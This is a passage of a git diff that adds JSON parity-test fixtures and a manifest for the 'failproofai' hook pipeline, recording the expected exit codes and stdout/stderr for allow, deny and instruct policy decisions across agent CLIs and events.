\"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeRemove/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/WorktreeRemove/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..d850b265 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeRemove/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeRemove/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/WorktreeRemove/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..bd89eb06 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeRemove/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeRemove/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/WorktreeRemove/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..3ee8960c --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeRemove/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeRemove/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/WorktreeRemove/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..7fe687eb --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeRemove/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeRemove/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/WorktreeRemove/deny__tool-present__one-policy.json new file mode 100644 index 00000000..a8b684eb --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeRemove/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeRemove/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/WorktreeRemove/deny__tool-present__two-policies.json new file mode 100644 index 00000000..b66ec602 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeRemove/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeRemove/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/WorktreeRemove/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..11c904c2 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeRemove/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeRemove/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/WorktreeRemove/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..e46dc9cc --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeRemove/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeRemove/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/WorktreeRemove/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..2c669749 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeRemove/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeRemove/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/WorktreeRemove/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..e9287820 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeRemove/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/manifest.json b/__tests__/parity/fixtures/manifest.json new file mode 100644 index 00000000..7550acd8 --- /dev/null +++ b/__tests__/parity/fixtures/manifest.json @@ -0,0 +1,71 @@ +{ + "corpus_sha256": "fb5ec9284d7f5f573643612e51fbc2aba212fbc19864824abf120066747bd41b", + "description": "Byte-exact response-encoding oracle for the failproofai hook pipeline. Each fixture records the synthetic input and the exact exitCode/stdout/stderr the TypeScript reference produced. A reimplementation is diffed against these bytes.", + "dimensions": { + "clis": [ + "claude", + "codex", + "copilot", + "cursor", + "opencode", + "pi", + "hermes", + "openclaw", + "factory", + "devin", + "antigravity", + "goose" + ], + "decision_kinds": [ + "deny", + "instruct", + "allow-with-reason", + "allow-silent" + ], + "events": [ + "SessionStart", + "SessionEnd", + "UserPromptSubmit", + "PreToolUse", + "PermissionRequest", + "PermissionDenied", + "PostToolUse", + "PostToolUseFailure", + "Notification", + "SubagentStart", + "SubagentStop", + "TaskCreated", + "TaskCompleted", + "Stop", + "StopFailure", + "TeammateIdle", + "InstructionsLoaded", + "ConfigChange", + "CwdChanged", + "FileChanged", + "WorktreeCreate", + "WorktreeRemove", + "PreCompact", + "PostCompact", + "Elicitation", + "ElicitationResult", + "UserPromptExpansion", + "PostToolBatch", + "Setup" + ], + "policy_counts": [ + 1, + 2 + ], + "tool_presence": [ + "tool-present", + "tool-absent" + ] + }, + "fixture_count": 5568, + "fixture_count_formula": "clis × events × decision_kinds × tool_presence × policy_counts", + "generated_by": "scripts/gen-parity-corpus.mjs", + "layout": "fixtures///____.json", + "regenerate_with": "bun scripts/gen-parity-corpus.mjs", + "schema_version": 1 +} diff --git a/__tests__/parity/fixtures/openclaw/ConfigChange/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/ConfigChange/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..8dbbcb76 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ConfigChange/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/ConfigChange/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/ConfigChange/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..596c5aa9 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ConfigChange/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/ConfigChange/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/ConfigChange/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..6edd5ad6 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ConfigChange/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/ConfigChange/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/ConfigChange/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..05e37338 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ConfigChange/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/ConfigChange/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/ConfigChange/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..39113897 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ConfigChange/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/ConfigChange/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/ConfigChange/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..39baf415 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ConfigChange/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/ConfigChange/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/ConfigChange/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..7343e7f4 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ConfigChange/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ 